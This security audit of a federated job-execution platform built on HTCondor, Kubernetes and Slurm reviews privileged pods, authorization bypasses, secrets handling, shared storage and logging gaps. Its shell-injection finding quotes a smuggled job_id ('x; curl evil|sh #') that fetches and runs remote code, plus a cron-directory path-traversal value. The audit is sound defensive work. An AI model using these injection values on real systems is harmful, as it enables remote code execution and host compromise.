Federated Execution (Cool) Stack — Privileged-Access Security Audit (Oracle K8s + future Pawsey Slurm)
A client POSTs a job to the Computing Broker, which authorizes via PAPI, exchanges tokens via AAPI, and intersects SCAPI (site capability) with DMAPI (data location) into a candidate set of sites — it never picks the final site itself. The broker submits exactly one run leader (a condor-native local-universe job — this replaced the old Toil/WES stack entirely) to the central HTCondor pool. The run leader fans the job out as a vanilla-universe payload cluster. Independently, each site's Job Gateway is a pure pilot factory: it spawns pilot pods (Kubernetes, Kueue-gated) or Slurm jobs (via slurmrestd + Apptainer) sized to idle demand. When a pilot joins the pool, HTCondor's negotiator matches it to an idle task — this match, not the broker or the gateway, is what decides where a job actually runs ("late binding"). The pilot then runs the payload under Apptainer with a /srcnet/{input,output,work} contract, staging data via a site-provided Battle API.
| Component | Root/UID 0 | sudo | setuid/setgid | privileged: true |
RBAC scope |
|---|---|---|---|---|---|
| computing-broker container | yes, no USER set; code needs CAP_CHOWN |
no | no | no | none (no RBAC — it doesn't talk to the k8s API) |
| HTCondor cm/submit/execute (upstream images) | yes (upstream default) | no | no | no | ServiceAccount created, no Role bound |
warm-apptainer-cache-job (bootstrap Job) |
implied by privileged | no | no | yes | none |
| job-gateway container | yes, no USER set |
no | no | no | none |
Job-gateway's spawned Kubernetes pilot pod (kubernetes_provisioner.py:243,254) |
yes | no | no | yes — both the fix-storage-perms init container and the startd main container |
n/a (created, not a Role holder itself) |
Job-gateway's Slurm pilot path (SlurmPilotProvisioner) |
pilot runs under Apptainer on the Slurm compute node, not root-owned by design | no | no | no (gateway just submits via slurmrestd) |
n/a |
Slurm compute nodeset install-apptainer initContainer |
explicit runAsUser: 0 |
no | yes — chmod u+s newuidmap/newgidmap |
no | n/a |
| slurm-operator | not set (upstream default) | no | no | no | ClusterRole, cluster-wide: pods/secrets/configmaps/nodes/deployments/statefulsets + full slinky.slurm.net CRUD |
| Kueue manager | runAsNonRoot, caps dropped, read-only rootfs |
no | no | no | ClusterRole, cluster-wide (jobs/pods/jobsets/CRDs/webhooks) — but the pod itself is hardened |
GEAPI's dynamic panda-sandbox-* Job (runs user image+cmd via prun) |
security_context left empty → root default |
no | no | no (unset) | in-cluster ServiceAccount creates batch/v1 Jobs |
No PodSecurityAdmission/PSP was found anywhere restricting privileged: true or hostPath cluster-wide — a namespace-scoped create pods RBAC grant (which several of these components hold) is sufficient to produce a fully privileged, host-mounted pod, and nothing in the cluster stops it.
Privileged identities in code (no docker/lxd/disk-style OS groups appear anywhere in this stack): the fixed condor execute user for payloads, and the various k8s ServiceAccounts above. sudo is not used anywhere in the stack.
- Everything runs inside containers/pods — but
privileged: true+hostPathmounts substantially negate that boundary. - Per the deployment topology, the dev cluster is a single k3d cluster with
/srv/storagebind-mounted across every node — there's no evidence of a separate "privileged" node pool or taint keeping privileged pilot pods off nodes that also run other tenants' or platform workloads. A compromised pilot pod can reach whatever else is co-scheduled on its node. - Namespace layout:
broker(broker ×3 + Postgres + RabbitMQ),htcondor(cm/submit/execute — execute nodes are dev-only, production capacity comes from pilots),job-gateway-1/job-gateway-2(one per site: gateway + Kueue LocalQueue + pilot pods),kueue-system,slurm(Slinky operator + slurmrestd + compute). - Pawsey mismatch to flag: today's stand-in is Slinky's k8s-native Slurm (Vault-synced shared key instead of classic setuid-root munge; only a scoped root initContainer sets two setuid bits for Apptainer). The intended path to a real remote Slurm cluster — per
execution-framework-architecture.md/pilot-resource-model.md— is the gateway queryingslurmrestdfor real partition capacity and submitting the pilot with a short-lived Vault-issued HS256 JWT, not SSH. Nothing in the repo names Pawsey specifically (closest concrete external target integrated is STFC); the security properties of a real bare-metal Pawsey HPC cluster (shared login nodes, real munge, multi-tenant filesystem) haven't been validated against this containerized stand-in.
warm-apptainer-cache-job: needsprivilegedfor apptainer image mount/namespace setup at cache-warm time — narrow, transient.- Job-gateway's privileged pilot pod: the team's own docs (
svc/ska-src-ef-computing-broker/docs/dynamic-storage-plan.md:34,114) call this out as a known, not-yet-fixed gap, and propose moving payload execution into an unprivileged Kubernetes ephemeral container instead. This is not a hard technical requirement — it's acknowledged debt. - Slurm's
install-apptainerroot initContainer: legitimately scoped to a transient initContainer, not the long-runningslurmd/pilot container. - slurm-operator / Kueue ClusterRoles: legitimate operator patterns (must manage workloads across namespaces) but neither is scoped down to only the namespaces it actually needs.
- GEAPI's Job creation: legitimate need to run
prunon the user's behalf, but ships with no hardening applied (emptysecurityContext) — an unjustified gap, not a documented risk acceptance.
Central finding: any authenticated user can get code running inside a privileged pod, with no privileged-operation-specific gate.
- Path: user →
POST /v1/jobson the broker → HTCondor run leader → payload task → executes (via Apptainer, or raw/bin/sh -cif no--imagegiven) inside the job-gateway's always-privileged pilot pod. - Every job's payload runs in the same privileged pilot — there's no separate "privileged job" class or elevated-approval step. The pod's privilege level isn't user-controlled (good), but it applies to all jobs unconditionally (bad).
- Authz for the caller: PAPI's check degenerates to a single coarse test. The broker reuses the
global-execution-apiPAPI policy, whose only declared routes are/worksteps; the broker's real routes (/v1/jobs,/v1/jobs/{id},/logs,/cancel) never match that table, so the only path to a200is a blanket scope bypass: any token carryingglobal-execution-api-servicescope is authorized for every route/method under that policy name, regardless of IAM group/role (methods/permissions.py:315-318). That scope is granted not just to GEAPI's own service client but also to a broadly-scopedtesterIAM client (bothauthorization_codeandclient_credentialsgrants) in dev and staging. - No job-ownership check exists anywhere in the broker —
get_job/get_job_logs/cancel_job/list_jobsnever compare caller identity tojob.username. Any holder of the shared scope can read logs of, or cancel, any other user's job. - Compounding: the dev overlay sets
authzEnabled: falseoutright, at which point the audited "username" is a caller-asserted, signature-unverified JWT claim (auth/identity.py).
- Shell injection (critical): the broker's client-supplied
job_idis only checked for non-emptiness, then f-string-interpolated unquoted intoleader.sh, executed by HTCondor on the central schedd (condor_submit_client.py:~157,180-198). A craftedjob_id(e.g.x; curl evil|sh #) yields RCE on the schedd host, which holds the schedd-write IDTOKEN, RabbitMQ creds, and IAM client secret. - Path traversal (critical): the same unsanitized
job_idbuilds the run directory via plain string concatenation; a value like/etc/cron.d/pwnresolves outside the intended run root, and the broker (root,CAP_CHOWN)chowns/writes an executable script there. - Arbitrary image, no allowlist:
--imageis a free-form OCI reference; nothing in the broker restricts it to a trusted registry. - Unsandboxed shell fallback: if
--imageis omitted, the task runs the user's--cmdvia/bin/sh -cdirectly in the privileged pilot, with no container at all. - GEAPI/PanDA path: user-supplied
container_image+executable_entrypoint/parameters go straight intoprun --containerImage --execwith no allowlist, dispatched to the external PanDA server for remote (out-of-cluster) pilot execution. - What is validated:
--pilot-resourceis restricted to a fixed enum; dask mode forces--image(always containerized);cancel_job_clustersstrips quotes fromjob_idin one place, showing the team is aware of this bug class but missed the wrapper-script path.
/srv/storageis a single bind-mount shared across every node in the cluster, mounted read-write into: the HTCondor submit pod (if enabled),warm-apptainer-cache-job, the job-gateway's privileged pilot pod, and both Slurm compute nodesets. It backs the run-leader root (.ska-leader/runs/<job_id>-a<attempt>/), the Apptainer SIF cache, and site storage areas — i.e. compute, cache, and per-site data all share one root.- Init containers actively loosen permissions on this shared root (e.g.
chmod o+rx /srv/storage), which undermines the broker's own attempt to scope per-run directories to0770. - Per CLAUDE.md, this same root underlies SODA's deterministic data path — a compromised execution pilot has a plausible route into the data-management plane's storage, not just other compute jobs.
- No evidence these mounts are scoped per-job/per-tenant at the k8s volume level — isolation is purely a filesystem-permission convention, and one that's actively weakened by the init containers above.
- Inbound: ClusterIP-only, no default Ingress/TLS anywhere in the execution stack — HTCondor (9618), broker (8082), job-gateway (8081), RabbitMQ (5672), Postgres (5432).
- Outbound: job-gateway →
slurmrestd(plainhttp://inside the cluster by default; encryption only on the optional SSH-bastion path to a gated remote Slurm); broker → PAPI over HTTPS (code-enforced); GEAPI → external PanDA server (https://panda-server.dev.skach.org) carrying a token that is also leaked to pod logs (see §8). - Encryption: no default mTLS between broker ↔ job-gateway ↔ pilots — trust is bearer tokens / HTCondor IDTOKENS / self-minted Slurm JWTs, not transport-level mutual auth.
- Delivery: External Secrets Operator syncing from Vault KV into k8s Secrets — HTCondor pool password, the broker's read and schedd-write IDTOKENS, the job-gateway's read-only IDTOKEN, the Slurm HS256 JWT signing key, IAM client secrets, DB creds.
- Rotation/TTL — weak: ESO's
refreshInterval: 1honly controls re-pull cadence, not source rotation. ESO authenticates to Vault using a static, non-expiring Vault root token stored as a plain k8s Secret, in both dev and staging — a single credential compromise exposes every secret in the cluster. Vault is unsealed with a 1-of-1 key share (no Shamir split), and Vault audit logging is disabled in every overlay — no record of who/what ever read which secret. - Exposed via logs (confirmed): GEAPI's
job_submission/panda.pylogsos.environ.items()at debug level inside thepanda-sandbox-*Job pod, capturingUSER_ACCESS_TOKENand the exchangedPANDA_AUTH_ID_TOKENin plaintext, readable by anyone with pod-log access in that namespace. - Plaintext key material committed to git:
infra/ska-src-skaosrc-services-cd/assets/ska-local-ca-key.pemis the actual RSA private key for the internal CA, used live as the cert-managerClusterIssuersigning key in both dev and staging. Anyone with repo read access can mint internally-trusted certs and MITM internal TLS traffic across nearly the whole platform. This is the single most severe secrets finding. Dev IAM passwords (test1/test1,test2/test2) are also committed in plaintext — low severity, throwaway dev accounts. - Per
run-leader.md: the schedd-write IDTOKEN and the user's access token travel to the leader via condor input spooling (never touching shared storage) — a deliberate, sound design choice worth noting as a positive control.
- Lateral movement: a compromised pilot pod (
privileged: true+hostPath) has a direct container-escape path to its node, and — since there's no node isolation (§2) — to whatever else is co-scheduled there, plus into the SODA-shared/srv/storageroot. - Disable security controls: a compromised broker (root,
CAP_CHOWN, already reachable via thejob_idshell-injection/path-traversal bug) can write arbitrary files as root anywhere its process/mounts reach. - Modify jobs/data/results: yes — the broker's authz is a scope-bypass with no ownership check, so any holder of the shared
global-execution-api-servicescope can cancel/read/tamper with any user's job; a compromised pilot can reach other tenants' data under the loosened shared storage root. - Limiting controls that do exist: dask mode forces containerization;
--pilot-resourceenum restricts backend selection; Kueue's controller pod is well-hardened even though its RBAC is broad. But no PodSecurityAdmission/PSP anywhere stops a namespace-scopedcreate podsgrant from producing a fully privileged, host-mounted pod — this is the structural gap behind most of the above.
- Build authority: standard git/submodule/Helm workflow — anyone with merge access to the relevant
svc/ska-src-ef-*or CD repo can change these manifests/scripts. No evidence of an extra approval gate specific to privileged-workload changes. - Image signing/verification: none found. Images are pulled without cosign/Notary verification or admission-controller enforcement anywhere in the explored manifests.
- Dependency inventory: none found (no SBOM tooling surfaced). Harbor is deployed (typically ships Trivy scanning) but no evidence it actually gates these images was found — flagged as "not found," not "confirmed absent."
- Coverage gap: fluent-bit only tails logs for
rucio,dmapi,scapi,aapi,papicontainers. HTCondor, job-gateway, computing-broker, PanDA, and Slurm are not centrally collected at all — logs exist only as raw pod stdout, subject to normal rotation/eviction. - Attribution: the broker's own Postgres DB records
jobs.usernamewith a per-job state-transition trail — but that identity is caller-asserted and unverified wheneverauthzEnabled=false(the actual dev-overlay setting). - Self-tampering: the broker owns its own audit DB with its own service credentials — a compromised broker (achievable via the
job_idinjection bug) could plausibly alter or delete its own audit history; no separate/immutable audit sink exists. - Alerting: no ServiceMonitor/PodMonitor exists for any execution component, and the Prometheus stack config never references these services by name — no alerts for anomalous privileged-pod creation, submission spikes, or scope-bypass token use.
- PAPI decision logging: PAPI logs only the incoming authorization request, never the resulting grant/deny decision or which check path fired — so even a retroactive investigation of abuse has no decision-level trail.